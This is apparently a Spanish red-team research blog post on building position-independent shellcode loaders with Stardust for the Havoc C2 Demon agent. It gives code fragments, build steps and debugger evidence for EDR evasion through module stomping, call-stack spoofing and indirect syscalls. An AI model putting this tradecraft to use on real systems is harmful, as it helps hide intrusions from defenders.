Stardust: Arquitectura de implantes PIC y abstracción de shellcode moderna e integracion con HavocC2
Introducción
Stardust es un framework de desarrollo de implantes diseñado para generar código posicionalmente independiente (PIC) puro, eliminando la dependencia de estructuras PE (Portable Executable) en tiempo de ejecución. A diferencia de los cargadores reflectivos tradicionales (RDI), que inyectan una DLL completa y simulan el trabajo del cargador del sistema operativo, Stardust se compila directamente como un blob de shellcode crudo.
Su diseño permite a los desarrolladores escribir implantes en C++ moderno utilizando variables globales, literales de cadena y abstracciones de alto nivel, superando las limitaciones clásicas del desarrollo de PIC. Este artículo analiza la arquitectura técnica de Stardust en profundidad — incluyendo sus mecanismos internos, sus limitaciones no documentadas y las lecciones aprendidas al integrarlo con Havoc C2 en un entorno de laboratorio controlado.
Nota: La versión utilizada en esta investigación es una variante customizada del código base original, con modificaciones para adaptar el loader al formato de shellcode del agente Demon de Havoc y corregir comportamientos específicos del pipeline de construcción. El código original de Stardust está disponible en el repositorio oficial de Cracked5pider.
0. Contexto: Qué es un EDR
Antes de entrar en la arquitectura de Stardust, es necesario entender contra qué se diseña. Un EDR (Endpoint Detection and Response) es una solución de seguridad que se instala como agente en el sistema operativo y monitoriza el comportamiento de los procesos en tiempo real, a diferencia de los antivirus tradicionales que se limitan a comparar firmas estáticas de archivos en disco.
Los EDRs modernos más representativos del mercado son CrowdStrike Falcon y Elastic Security (con su agente Elastic Defend). CrowdStrike opera desde un driver de kernel que intercepta llamadas al sistema, monitoriza la creación de procesos, la carga de DLLs y las operaciones de memoria antes de que ocurran. Elastic Security combina un agente en user-mode con reglas de detección basadas en telemetría ETW (Event Tracing for Windows) y un motor de análisis comportamental que correlaciona eventos en tiempo real.
0.1 Qué monitoriza un EDR en la práctica
Las detecciones más comunes que un EDR genera frente a un implant de red team sin evasión son:
Memoria ejecutable privada anónima. Cuando un proceso tiene una región de memoria con permisos de ejecución que no está respaldada por ningún archivo en disco (tipo Private en lugar de Image), el EDR lo marca como sospechoso. Es la firma más básica de shellcode inyectado.
Transición RWX o el patrón RW → RX. Una página de memoria que pasa de escribible a ejecutable es característica de un loader de shellcode. Si además esa página es Private y no tiene módulo asociado, la alerta es prácticamente inmediata. El peor caso es alocar directamente con PAGE_EXECUTE_READWRITE — todos los EDRs comerciales tienen reglas específicas para esto.
Call stack con frames anónimos. Los EDRs con capacidad de inspección de call stack pueden hacer un snapshot del stack de cada thread del proceso y verificar que cada frame de retorno apunte a código dentro de un módulo legítimo. Si algún frame apunta a una dirección sin módulo conocido — es decir, a memoria privada — el thread se marca como sospechoso. Esta técnica es usada por CrowdStrike Falcon y Elastic Security para detectar implants que duermen en memoria anónima.
Syscalls desde direcciones no pertenecientes a ntdll. El EDR puede monitorizar de dónde proviene cada llamada al sistema. En una aplicación legítima, las instrucciones syscall siempre se ejecutan desde dentro de ntdll.dll. Si la instrucción syscall se ejecuta desde memoria privada o desde una DLL inesperada, es una señal de que el código está intentando saltarse los hooks del EDR.
Hooks de user-mode en ntdll. La técnica de detección más extendida consiste en que el EDR modifica el prólogo de las funciones clave de ntdll (como NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThread) para añadir un JMP a su propio código antes de que se ejecute el syscall real. Así intercepta todas las llamadas al sistema y puede bloquearlas o registrarlas.
{% hint style="warning" %} Tambien varia aveces segun el provedor de EDR y las configuraciones. Asique eso hay que tenerlo en cuenta {% endhint %}
0.2 Por qué Stardust evade estas detecciones — en teoría
Stardust no elimina todos los vectores de detección, pero aborda directamente los más comunes:
Module stomping en lugar de memoria privada. En vez de alocar una región anónima nueva para el shellcode, Stardust copia el código dentro de la sección .text de una DLL legítima ya cargada (chakra.dll, por ejemplo). El resultado: la región ejecutable aparece de tipo Image y con el nombre de un módulo firmado por Microsoft. El EDR que busca Private + RX no ve nada.
Transición RW → RX sin RWX. El loader alloca la memoria como RW, copia el shellcode, y solo entonces cambia los permisos a RX. En ningún momento existe una página con los tres permisos simultáneamente. Esto evita las reglas más comunes de detección por permisos de memoria.
Call stack spoofing con draugr. Antes de entrar en el sleep entre beacons, el agente construye una cadena de frames de retorno falsa en el stack del thread, compuesta íntegramente por direcciones dentro de ntdll.dll y kernel32.dll. Cuando el EDR inspecciona el call stack durante el intervalo de reposo, ve solo código de Windows legítimo.
Indirect syscalls. En lugar de llamar a las funciones de ntdll directamente (donde los hooks del EDR están), el stager resuelve el número de syscall (SSN) de cada función de forma dinámica y ejecuta la instrucción syscall desde un gadget dentro del propio .text de ntdll. El EDR ve que el syscall se origina desde ntdll — exactamente igual que una llamada legítima.
La clave de todo esto es que ninguna de estas técnicas por sí sola es suficiente. Son capas que trabajan en conjunto: si el call stack está limpio pero la memoria es privada y anónima, el EDR lo detecta por la memoria. Si la memoria está stompeada pero el call stack tiene frames anónimos, el EDR lo detecta por el stack. Stardust intenta cerrar todos estos frentes simultáneamente.
{% hint style="danger" %} Añadir que me e estado asesorando sobre si podia enseñar la evasion en mi blog. Devido a que no quiero jugarmela no puedo aclarar si lo que yo explico aqui evade al 100% una infrastructura EDR ni puedo enseñar una demostracion. Si fuera en ponencia o en un estudio respladado si que podria dar estos datos {% endhint %}
1. Arquitectura de Secciones y Layout de Memoria
El núcleo del diseño de Stardust reside en el control preciso del layout de memoria mediante un script de enlazador (linker.ld). Dado que el shellcode carece de un cargador del SO, la posición de las instrucciones y los datos debe garantizar la auto-referencia sin colisiones.
1.1 Ordenación Estratégica de Secciones
Stardust segmenta el binario en sub-secciones ordenadas alfabéticamente dentro del segmento .text:
.text$A(Entry Point): Contiene el punto de entrada (stardust), la alineación de pila y las rutinas de localización (RipStart). Debe residir en el byte 0 del binario final..text$B(Core Logic): Alberga la lógica principal del implante en C/C++ compilado..rdata(Read-Only Data): Contiene los literales de cadena y constantes. Su posición intermedia es crítica para el cálculo de direcciones en el templatesymbol<T>— todos los offsets de.rdatase calculan como distancias hacia atrás desde el anclaRipData..text$C(Anchor): Sección final del código ejecutable. ContieneRipData. Actúa como ancla para calcular el tamaño total del implante y como referencia inversa para acceder a datos en.rdata..global(Writable State): Página separada alineada a0x1000para permitir cambios de permisos granulares. Esta sección NO se incluye en el.binextraído porobjcopy— punto crítico con consecuencias directas en runtime.
1.2 El Script de Enlazador
SECTIONS
{
. = 0; /* base en cero: PIC absoluto */
.text :
{
*( .text$A ); /* entry point — siempre primero */
*( .text$B ); /* lógica principal */
*( .rdata* ); /* datos de solo lectura */
*( .text$C ); /* ancla RipData */
*( .global ); /* estado escribible — NO entra en .bin */
}
}
El script fuerza la fusión de estas secciones en un bloque contiguo. Solo .text$A, .text$B, .rdata y .text$C forman el shellcode extraído con objcopy. La sección .global se localiza y habilita en tiempo de ejecución mediante NtProtectVirtualMemory.
1.3 El PE Intermedio y la Extracción
El proceso de compilación genera un PE Windows legítimo como artefacto intermedio. Este PE se descarta — solo se extrae su sección .text:
# El PE intermedio existe únicamente para que el linker resuelva símbolos
objcopy -j .text --output-target binary stardust.x64.exe stardust.x64.bin
# Resultado: blob puro de shellcode (~4.4 KB)
# Sin PE headers, sin tabla de importaciones, sin nada que no sea código y datos
Esta es la diferencia fundamental con RDI: no hay ningún MZ header, ninguna tabla de imports, ninguna relocation table. El shellcode es completamente autocontenido.
2. Primitivas de Localización: RipStart y RipData
El shellcode desconoce su dirección de carga en tiempo de ejecución — ASLR y los loaders externos pueden colocarlo en cualquier dirección. Stardust resuelve esto mediante dos funciones ensamblador que establecen los límites del implante de forma completamente dinámica.
2.1 Cálculo de la Base (RipStart)
Situado en .text$A (byte 0 del shellcode), RipStart utiliza la técnica call/pop adaptada a x64:
[BITS 64]
[SECTION .text$A]
stardust: ; ← byte 0 del shellcode
push rsi
mov rsi, rsp
and rsp, 0FFFFFFFFFFFFFFF0h ; alineación ABI x64 (SSE requiere 16B)
sub rsp, 020h ; shadow space para funciones Win64
call entry ; saltar a la función C main
mov rsp, rsi
pop rsi
ret
RipStart:
call RipPtr
ret
RipPtr:
mov rax, [rsp] ; [rsp] = dirección de retorno de 'call RipPtr'
sub rax, 0x1b ; offset exacto desde 'stardust' hasta aquí
ret ; rax = dirección base del shellcode en memoria
El valor 0x1b (27 bytes) es el tamaño exacto de las instrucciones desde el inicio de stardust hasta la instrucción call RipPtr. NASM lo calcula en tiempo de ensamblaje. El resultado: rax contiene la dirección en memoria donde empieza el shellcode, independientemente de dónde haya sido cargado.
2.2 Ancla de Datos (RipData) y END_OFFSET
Para acceder a cadenas embebidas y marcar el final del código, Stardust coloca una función centinela al final en .text$C:
[SECTION .text$C]
RipData:
call RetPtrData
ret
RetPtrData:
mov rax, [rsp]
sub rax, 0x5
ret
RipData() devuelve su propia dirección en tiempo de ejecución. La función ocupa exactamente 15 bytes en el binario compilado.
La constante END_OFFSET (definida en common.h, típicamente 0x10) representa cuántos bytes hay desde el inicio de RipData hasta el primer byte de los datos adicionales que el builder añade al final:
[.text$A][.text$B][.rdata][.text$C: RipData (15B)][← END_OFFSET →][datos del builder]
Lección aprendida (duramente): Si el builder añade cualquier estructura entre el final del shellcode y los datos — marcadores mágicos, padding de alineación, checksum —
END_OFFSETdeja de ser correcto ystart()lee basura comodemon_size. El resultado es un crash inmediato. El layout del builder debe coincidir byte a byte con lo que esperastart().
3. El Template symbol<T>: Acceso Posicional a Datos
El problema fundamental del PIC es que el compilador genera referencias absolutas a strings y constantes en .rdata. En un shellcode cargado en dirección aleatoria, esas referencias apuntan a basura. Stardust resuelve esto con el template symbol<T>:
template<typename T>
struct symbol {
uintptr_t s; // Distancia compilada (constante) desde RipData al dato
auto get() -> T {
// En runtime: RipData() devuelve la dirección actual de RipData
// s = offset_RipData - offset_dato (distancia fija en el binario)
// RipData() - s = dirección actual del dato en memoria
return (T)( RipData() - s );
}
};
La macro G_SYM() encapsula este mecanismo para uso cotidiano:
// Acceso a un string literal de forma PIC-safe
const char* url = G_SYM("https://c2.example.com/beacon");
// Acceso al puntero de instancia global
Instance* inst = G_SYM(g_instance);
4. Instancia Global y Persistencia de Estado
4.1 La Sección .global y sus Implicaciones
La sección .global almacena el puntero a la instancia principal (INSTANCE*) y cualquier estado persistente necesario entre callbacks. Durante la inicialización el loader:
- Calcula la dirección de
.globalusandoRipStart()+ el offset calculado por el linker. - Cambia sus permisos de
RXaRWviaNtProtectVirtualMemory. - Escribe el puntero a la estructura
INSTANCErecién asignada en el heap.
4.2 La Trampa de .bss — El Error Más Común
Aquí está la trampa que muerde a casi todo el que trabaja con Stardust por primera vez. Cualquier variable global estándar de C++ que no esté declarada explícitamente en .global terminará en .bss. Y .bss no se extrae por objcopy --dump-section .text.
En tiempo de ejecución, esa variable simplemente no existe en la memoria del shellcode. Cualquier escritura sobre ella crasheará el proceso con EXCEPTION_ACCESS_VIOLATION (C0000005).
// ❌ INCORRECTO — termina en .bss → no existe en el .bin → crash garantizado
instance* g_inst = nullptr;
static PVOID g_heap_base = nullptr;
// ✅ CORRECTO — declarar en la sección .global gestionada por Stardust
__attribute__((section(".global")))
instance* g_inst = nullptr;
// ✅ TAMBIÉN CORRECTO — evitar globals completamente
// Pasar el puntero de instancia como parámetro explícito
static auto my_helper( instance* inst, void* addr ) -> size_t {
return inst->ntdll.NtQueryVirtualMemory( ... );
}
Lo identificamos durante el debugging: el crash se manifestaba como C0000005 Write en una dirección alta dentro del rango del módulo stompeado — exactamente el patrón de un write a una región RX que debería ser RW si .global estuviera correctamente habilitada.
5. Resolución de APIs y Hashing en Tiempo de Compilación
Stardust no tiene tabla de importaciones. Todas las APIs de Windows se resuelven en runtime mediante un walk del PEB y comparación de hashes calculados en tiempo de compilación con constexpr:
constexpr ULONG ExprHashStringA( const char* String ) {
ULONG Hash = 5381;
while ( *String ) {
Hash = ( ( Hash << 5 ) + Hash ) + (*String++); // djb2
}
return Hash;
}
// El compilador evalúa el hash en tiempo de compilación:
constexpr ULONG HASH_NtAlloc = ExprHashStringA("NtAllocateVirtualMemory");
// → el binario contiene solo el valor numérico, sin la cadena.
// → análisis estático no puede ver el nombre de la función.
La resolución ocurre en dos fases:
- Módulos: Iterando
PEB->Ldr->InLoadOrderModuleListy comparando hashes de nombres de DLL. - Funciones: Parseando la Export Address Table (EAT) de cada DLL y comparando hashes de los nombres exportados.
PVOID PebGetProc(ULONG modHash, ULONG funcHash) {
PPEB peb = (PPEB)__readgsqword(0x60); // GS:[0x60] = TEB->PEB
PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
PLIST_ENTRY cur = head->Flink;
while (cur != head) {
PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(...);
if (HashUnicode(entry->BaseDllName) == modHash) {
return ParseEAT(entry->DllBase, funcHash);
}
cur = cur->Flink;
}
return NULL;
}
6. Call Stack Spoofing: Draugr
Stardust integra el mecanismo de spoofing de call stack draugr (de The Cracked Group), que construye una cadena de retorno falsa para evadir EDRs que inspeccionan el call stack en tiempo de ejecución.
6.1 El Problema que Resuelve
Sin stack spoofing, cuando un EDR hace un snapshot del call stack del thread del agente durante el sleep, ve algo así:
#0 ntdll!NtWaitForSingleObject
#1 ??? → dirección en región de memoria privada sin nombre ← alerta inmediata
#2 ??? → dirección en región de memoria privada sin nombre
Con draugr activo, el mismo snapshot muestra:
#0 ntdll!NtWaitForSingleObject+0x14
#1 kernel32!WaitForSingleObjectEx+0x8E
#2 kernel32!WaitForSingleObject+0x9
#3 ntdll!RtlUserThreadStart+0x21
#4 0x0000000000000000
Cada frame apunta a código legítimo de Windows. El agente es invisible en el call stack.
6.2 Arquitectura de draugr
El stub draugr.x64.asm manipula el stack frame construyendo la cadena falsa de retorno:
[función objetivo]
↑
[gadget: FF 25 XX XX XX XX → jmp QWORD PTR [rip+disp32] en ntdll .text]
↑
[BaseThreadInitThunk + offset a RET válido]
↑
[RtlUserThreadStart + offset a RET válido]
↑
[0x0000000000000000]
Los parámetros de configuración viven en la estructura DRAUGR_PARAMS:
[+0] Fixup ← escrito por el stub en runtime
[+8] OgReturnAddress ← dirección de retorno original guardada
[+16] OgRbx ← RBX original guardado
[+24] OgRdi ← RDI original guardado
[+32] TrampolineStackSize ← configurado por init_spoof()
[+40] TrampolineReturnAddress ← gadget FF 25 en ntdll
[+48] BaseThreadInitThunkStackSize ← extraído del unwind info
[+56] RtlUserThreadStartStackSize ← extraído del unwind info
[+64] RtlUserThreadStartReturnAddress ← apunta a RET dentro de RtlUserThreadStart
[+72] SyscallNumber ← SSN (0 para llamadas no-syscall)
[+80] BaseThreadInitThunkReturnAddress ← apunta a RET dentro de BaseThreadInitThunk
6.3 Selección del Gadget y Stack Sizing
init_spoof() escanea el segmento .text de ntdll buscando gadgets FF 25 XX XX XX XX (jmp QWORD PTR [rip+disp32]) con un stack frame suficientemente grande (>= MIN_TRAMPOLINE_STACK). Para cada candidato, calcula el tamaño del frame parseando la unwind information de la sección .pdata.
Punto crítico: Los offsets dentro de
BaseThreadInitThunkyRtlUserThreadStartusados como fake return addresses deben apuntar a instruccionesRET(0xC3) válidas. Usar offsets hardcodeados rompe con cada actualización de Windows. La aproximación robusta es buscar dinámicamente el primer0xC3dentro de cada función en el módulo cargado en runtime.
7. Pipeline de Construcción
src/*.cc + src/asm/*.x64.asm
│
▼ clang-14 (target: x86_64-w64-mingw32) + nasm -f win64
│
bin/obj/*.obj
│
▼ x86_64-w64-mingw32-ld --script=linker.ld
│
bin/stardust.x64.exe (PE intermedio — se descarta)
│
▼ objcopy -j .text --output-target binary
│
bin/stardust.x64.bin (~4.4 KB — shellcode puro)
│
▼ builder.py
│
payload.bin (stardust.bin + uint32 demon_size + demon shellcode)
Formato exacto del payload que consume start() en main.cc:
┌──────────────────────────────────────────────────────┐
│ stardust.x64.bin (N bytes) │
├──────────────────────────────────────────────────────┤
│ uint32 LE: tamaño del implante (demon_size) │
│ ↑ inmediatamente tras el último byte del .bin │
├──────────────────────────────────────────────────────┤
│ demon shellcode (demon_size bytes) │
└──────────────────────────────────────────────────────┘
No debe haber ningún byte de padding ni marcador entre el .bin y el uint32. Cualquier dato intermedio es leído como demon_size, produciendo un valor incorrecto que crashea en el siguiente acceso de memoria.
8. Demostración: Integración con Havoc C2
8.1 Entorno de Prueba
| Componente | Detalle |
|---|---|
| Atacante | Exegol (host fedora 43) |
| C2 | Havoc Framework |
| Target | Windows 11 x64 |
| Técnica de ejecución | Module Stomping sobre chakra.dll |
8.2 Preparación
Compilar Stardust para x64:
make clean && make x64
# Output: bin/stardust.x64.bin (~4.4KB)
Generar el shellcode de Demon desde Havoc y construir el payload:
python3 builder.py

8.3 Ejecución via Module Stomping
Utilizando stomper.x64.exe (incluido en el repositorio de Stardust como herramienta de test) para inyectar el payload en la sección .text de chakra.dll:

chakra.dll tiene una sección .text de \~6MB — más que suficiente para alojar el payload de 107KB.
8.4 Beacon Activo en Havoc
Tras la ejecución, Stardust:
- Resuelve
ntdll.dllykernel32.dlldesde el PEB. - Localiza el shellcode de Demon mediante
RipData() + END_OFFSET. - Alloca memoria RW, copia el Demon, cambia protección a RX.
- Salta al entry point del Demon.
El resultado en el teamserver de Havoc:

9. Lo que Ven las Herramientas de Análisis
Esta sección documenta las observaciones reales durante las pruebas de laboratorio con Process Hacker y x64dbg, comparando directamente la ejecución del shellcode de Demon sin ningún loader frente a la ejecución con Stardust.
9.0 Escenario Baseline — Demon sin Stardust
Antes de analizar lo que hace Stardust, documentamos cómo se ve el Demon ejecutado directamente con un loader mínimo sin ninguna técnica de evasión. Este escenario representa lo que detectaría un EDR sin contramédidas.
Entorno: loader.exe demon.x64.bin — el shellcode crudo de Havoc cargado con VirtualAlloc(RWX) + CreateThread directo.
Mapa de memoria en x64dbg (Alt+M):
Address Size Type Protection Info
0000022FED870000 0x1D000 PRV ER--- (vacío)

La región del Demon tiene tipo PRV (Private), permisos ER (Execute+Read) y la columna de módulo completamente vacía. No pertenece a ningún archivo en disco. Este es el indicador más básico y más detectado por cualquier EDR: memoria ejecutable privada sin respaldo de módulo.
La diferencia entre Current Protection: ER--- e Initial Protection: ERW-- revela el patrón clásico del loader: RWX → RX o RW → RX. El EDR ve esta transición y, combinada con la ausencia de módulo, genera la alerta.
Threads en x64dbg para el mismo proceso (loader sin Stardust, PID del Demon activo):
Number ID Entry RIP WaitReason
Main 3348 0000000000000000 00007FFA07C41D40 Executive
1 3232 00007FFA07B55A90 00007FFA07C45704 Suspended
2 6728 00007FFA07B55A90 00007FFA07C45704 Suspended

El hilo del Demon es el ID=6728 — creado tarde y con el mayor número de CPU cycles. Su Entry apunta a 00007FFA07B55A90, que parece ntdll, pero eso es solo la dirección de arranque del wrapper del thread. La dirección real de inicio del shellcode queda oculta en Entry=0000000000000000 del Main.
Call stack del hilo del Demon (ID=6728):
Address From To Module
0000022FED877F06 — — (sin módulo)
0000022FED94C2C0 — — (sin módulo)
0000022FED934AF9 — — (sin módulo)

Los tres frames del call stack apuntan a direcciones dentro del rango 0x22FED870000 — exactamente la región privada anónima identificada en el mapa de memoria. Un EDR con inspección de call stack generaría alerta inmediata: código ejecutándose desde memoria sin módulo asociado.
Syscall visible desde memoria anónima:
En el Main Thread se observa ntdll.ZwAllocateVirtualMemory llamado desde la cadena de enumeración de red (iphlpapi.GetAdaptersInfo → ... → ZwAllocateVirtualMemory). La instrucción syscall proviene directamente del shellcode en la región privada — sin ninguna indirección. Un EDR que monitorice el origen de los syscalls lo ve con claridad.
Resumen del escenario baseline:
| Indicador | Valor | Detectable |
|---|---|---|
| Tipo de región | PRV (Private) |
✅ Sí |
| Permisos | ER sin módulo |
✅ Sí |
| Frames call stack | Direcciones anónimas | ✅ Sí |
| Origen syscalls | Desde memoria privada | ✅ Sí |
| Módulo asociado | Ninguno | ✅ Sí |
9.1 Escenario con Stardust — Process Hacker
Sin module stomping, el agente residiría en una región privada anónima ejecutable — señal de alerta inmediata:
Type Base Size Protection Description
Private 0x00007FF4A0000 110 KB Execute/Read
← sin nombre, sin módulo asociado → sospechoso
Con module stomping activo, Process Hacker muestra:
Type Base Size Protection Description
Image 0x7FF8A3C10000 5.9 MB Execute/Read chakra.dll
← módulo legítimo firmado por Microsoft → normal

El código del agente aparece como parte del espacio de memoria de chakra.dll. Un analista revisando las regiones de memoria no ve ningún ejecutable privado anónimo. La única forma de detectarlo sería comparar el contenido en memoria de la sección .text de chakra.dll contra el archivo en disco.
Call stack del thread durante sleep (con stack spoofing activo). En la pestaña de threads de Process Hacker:

Ningún frame apunta a memoria privada. El thread parece legítimo en su totalidad.
9.2 Escenario con Stardust — x64dbg
{% hint style="warning" %} Como se a mencionado anteriormente mi stardus esta modificado personalmente para implementar multiples tecnicas. Los resultados que yo enseño SON DE MI CONFIGURACION, NO DE STARDUSRT BASE. y pueden variar segun tu configuracion {% endhint %}
Con stomper.x64.exe payload.x64.bin (Demon via Stardust), la misma inspección en x64dbg muestra resultados radicalmente diferentes.
Mapa de memoria (Alt+M) — región del Demon:
Address Size Type Protection Info
0000029169C90000 ~116 KB PRV -RW-- (vacío)

La región del Demon aparece con permisos RW — sin ejecución. Ekko está activo: durante el intervalo de sleep entre beacons, el Demon cifra su propio contenido en memoria y cambia los permisos de RX a RW. Un escáner de memoria que capture este instante no encuentra ninguna región ejecutable anónima — solo una región privada de datos, aparentemente inerte.
Threads en x64dbg con Stardust activo:

El hilo ID=6068 es el Demon. Su Entry es 0000029169C90000 — la dirección de inicio del shellcode en la región privada. Con CPU cycles de 0xD9C5DD2 (el más alto con diferencia), es inequívocamente el hilo del implant. El hilo ID=10056 (mismo RIP, WaitReason=UserRequest) es el hilo de Ekko gestionando el timer del sleep.
Call stack del hilo del Demon (ID=6068):
Address From Module
— ntdll!LdrAddRefDll+0x1BC4 ntdll.dll
— ntdll!TpSetWaitEx+0x9F0 ntdll.dll
— ntdll!RtlSetThreadSubProcessTag+0x1F7D ntdll.dll
— kernel32!BaseThreadInitThunk+0x17 kernel32.dll
— ntdll!RtlUserThreadStart+0x2C ntdll.dll

Cero frames anónimos. Todos los frames pertenecen a ntdll.dll y kernel32.dll. Un EDR inspeccionando este call stack no encuentra ninguna señal de alerta.
Module stomping visible en el Main Thread:
Address From Module
— chakra!JSCreateArray+0x184B3 chakra.dll

El stager de Stardust aparece en el call stack del Main Thread ejecutándose desde dentro de chakra.dll. El module stomping es verificable directamente: el código que lanzó el proceso del Demon tiene su origen dentro de un módulo legítimo de Microsoft.
Tabla comparativa final:
| Indicador | Sin Stardust (baseline) | Con Stardust |
|---|---|---|
| Tipo de región del Demon | PRV, ER, sin módulo |
PRV, RW (Ekko en sleep) |
| Permisos en reposo | Siempre ejecutable (ER) |
No ejecutable (RW) durante sleep |
| Frames call stack | Direcciones anónimas | ntdll + kernel32 legítimos |
| Origen del stager | Memoria privada anónima | chakra.dll (module stomping) |
| Syscalls | Directas desde shellcode | Indirectas via gadget en ntdll |
9.3 Workflow de Debugging durante el Desarrollo
Durante el desarrollo usamos x64dbg extensivamente para diagnosticar fallos. El flujo que demostró ser más efectivo:
Paso 1: Insertar __debugbreak() al inicio de start()
extern "C" void start() {
__debugbreak(); // EXCEPTION_BREAKPOINT (0x80000003)
// ...
}
Paso 2: Lanzar el stomper desde x64dbg
File → Open → stomper.x64.exe
Arguments: payload.bin
Al saltar el EXCEPTION_BREAKPOINT, estamos dentro del shellcode. La ventana de módulos confirma que RIP está dentro de chakra.dll:
Base Size Name
7FF8A3C10000 5.9 MB chakra.dll
→ RIP actual: 7FF8A3C11048 (dentro del .text de chakra)
Paso 3: Identificar el crash por código de excepción
Durante el desarrollo encontramos los siguientes patrones de fallo:
| Código | Dirección | Causa raíz |
|---|---|---|
C0000005 Write |
Dentro del módulo stompeado (dirección alta) | Variable global en .bss — no existe en el .bin, escritura sobre región RX |
C0000005 Read |
Dirección baja (0x00–0xFF) |
Null pointer dereference — función no resuelta en PEB walk |
C0000005 Read |
Dirección alta dentro del módulo | END_OFFSET incorrecto — start() lee basura como demon_size y luego como puntero |
80000003 |
— | __debugbreak() alcanzado — normal durante debugging |
El crash de END_OFFSET fue el más difícil de diagnosticar. Los registros en el momento del fallo mostraban:
RAX = 0x00000000DEADC0DE ; demon_size leído — valor absurdo
RCX = 0x7FF8A3C1DEADC0DE ; intento de acceder a esa dirección → crash
La causa: nuestro builder añadía 4 bytes de padding de alineación entre el shellcode y el uint32 de tamaño. END_OFFSET era 0x10 pero con ese padding debería haber sido 0x14. Solución: eliminar el padding del builder para que el uint32 quede inmediatamente contiguo al último byte del .bin.
Paso 4: Validar el descifrado con un breakpoint en VirtualProtect
Poniendo un breakpoint justo antes de la llamada a VirtualProtect(stomped_region, RX), el buffer temporal pPlain todavía contiene el shellcode descifrado en texto claro:
[pPlain] = 41 57 41 56 41 55 41 54 ... ← prólogo válido del agente Demon
Después de VirtualFree(pPlain), esa región desaparece — no queda ningún artefacto con el shellcode en claro en memoria.
10. Metodología de Debugging: Referencia Rápida
Cuando el shellcode no produce beacon, esta es la secuencia de diagnóstico:
Breakpoints estratégicos en start()
void start() {
__debugbreak(); // BP1: ¿llegamos al shellcode?
PVOID base = RipStart();
__debugbreak(); // BP2: ¿RipStart() devuelve dirección razonable?
PVOID anchor = RipData();
__debugbreak(); // BP3: ¿RipData() = base + offset esperado?
DWORD* sizePtr = (DWORD*)((PBYTE)anchor + END_OFFSET);
__debugbreak(); // BP4: inspeccionar *sizePtr — ¿es demon_size correcto?
PBYTE demonPtr = (PBYTE)sizePtr + sizeof(DWORD);
__debugbreak(); // BP5: ¿demonPtr tiene prólogo válido del Demon?
}
Diagnóstico por excepción
| Excepción | Síntoma | Diagnóstico |
|---|---|---|
C0000005 Write en módulo stompeado |
Escritura en RX | Variable global en .bss. Añadir __attribute__((section(".global"))) |
C0000005 Read en dirección 0x0–0xFF |
Null pointer | Función no resuelta en PEB walk. Verificar hashes |
C0000005 Read en dirección alta sin módulo |
Puntero basura | END_OFFSET incorrecto. Auditar el builder byte a byte |
| Beacon nunca llega, sin crash | Ejecución silenciosa | Resolver APIs de red — verificar que WinHttpOpen etc. se resuelven |
Validar demon_size
Un valor correcto de demon_size es el tamaño real del shellcode de Demon: típicamente 0x11000–0x1B000 (70–110 KB). Si el valor es pequeño (0x1, 0x90, 0x10) o absurdo (0xDEADC0DE), END_OFFSET es incorrecto.
11. Comparativa Arquitectónica: Stardust vs. Crystal Palace
Ambos proyectos abordan el desarrollo PIC pero representan filosofías opuestas.
Abstracción vs. Automatización
Stardust requiere que el desarrollador gestione explícitamente el layout, las variables globales y los accesos a datos. Control total, pero alta responsabilidad.
Crystal Palace adopta un enfoque de transformación post-compilación. Usa archivos .spec para reescribir el código máquina ya compilado automáticamente.
Gestión de Variables Globales
En Stardust, las variables globales fuera de .global van a .bss y crashean silenciosamente. Crystal Palace resuelve esto con fixbss — transforma referencias a .bss en accesos relativos de forma transparente, sin cambios en el código fuente.
Mutación de Binarios
Crystal Palace ofrece +disco (barajado de funciones) y +mutate (mutación de constantes) post-compilación. Stardust produce un blob estático — no hay mutación del shellcode en sí.
Resumen
| Criterio | Stardust | Crystal Palace |
|---|---|---|
| Control total sobre el layout | ✅ | ❌ |
C++ moderno (constexpr, templates) |
✅ | Agnóstico |
| Globals automáticos | ❌ (manual) | ✅ (fixbss) |
| Mutación post-build | ❌ | ✅ |
| Curva de aprendizaje | Alta | Media |
| Tamaño del stager | \~4 KB | Variable |
Conclusiones
Stardust demuestra que es posible escribir shellcode complejo con la ergonomía de C++ moderno: variables globales, templates, abstracciones de alto nivel — sin renunciar a la independencia posicional.
La integración con Havoc C2 funciona de forma efectiva en laboratorio: el agente Demon ejecutándose dentro del espacio de memoria de chakra.dll, con stack spoofing activo, sin ninguna región RWX en ningún momento, sin artefactos de shellcode en claro en memoria tras la ejecución del loader, y con un call stack completamente limpio visible desde Process Hacker.
Los problemas que encontramos — .bss silencioso, END_OFFSET roto por padding inesperado del builder — no están documentados. Son trampas que solo se descubren en ejecución real, y espero que esta investigación ahorre tiempo a quien trabaje con estas herramientas.
Las invariantes que no puedes olvidar:
.bssno existe en el shellcode extraído. Todo global debe ir en.globalo pasarse como parámetro explícito.END_OFFSETdebe coincidir byte a byte con el layout real del builder. Sin padding. Sin marcadores mágicos intermedios.- Nunca
RWX. La transición es siempreRW → RX. - El módulo objetivo del stomp debe tener
.textsuficientemente grande para el payload completo. RipData()es un ancla, no una dirección de datos. Los datos están enRipData() + END_OFFSET.
Referencias
[1] Cracked5pider, "Modern implant design: position independent malware development," 5pider.net, Jan. 27, 2024.\ https://github.com/Cracked5pider/\ [2] Stardust Project Repository — -- https://github.com/Cracked5pider/Stardust\ [3] The Cracked Group, "draugr: Call Stack Spoofing," TCG Tradecraft Repository, 2024.\ [4] Crystal Palace Documentation, "Overview and Linker Script Language," Tradecraft Garden, 2024.\ https://tradecraftgarden.org/crystalpalace.html\ [5] Havoc Framework, "Demon C2 Agent" — https://github.com/HavocFramework/Havoc\ https://github.com/HavocFramework/Havoc\ [6] am0nsec / smelly__vx, "Hell's Gate" — https://github.com/am0nsec/HellsGate
Nota: Este artículo tiene fines exclusivamente educativos y de investigación en seguridad. Las técnicas descritas deben utilizarse únicamente en entornos controlados y con autorización explícita. Y no me hago responsable de cualquier uso indevido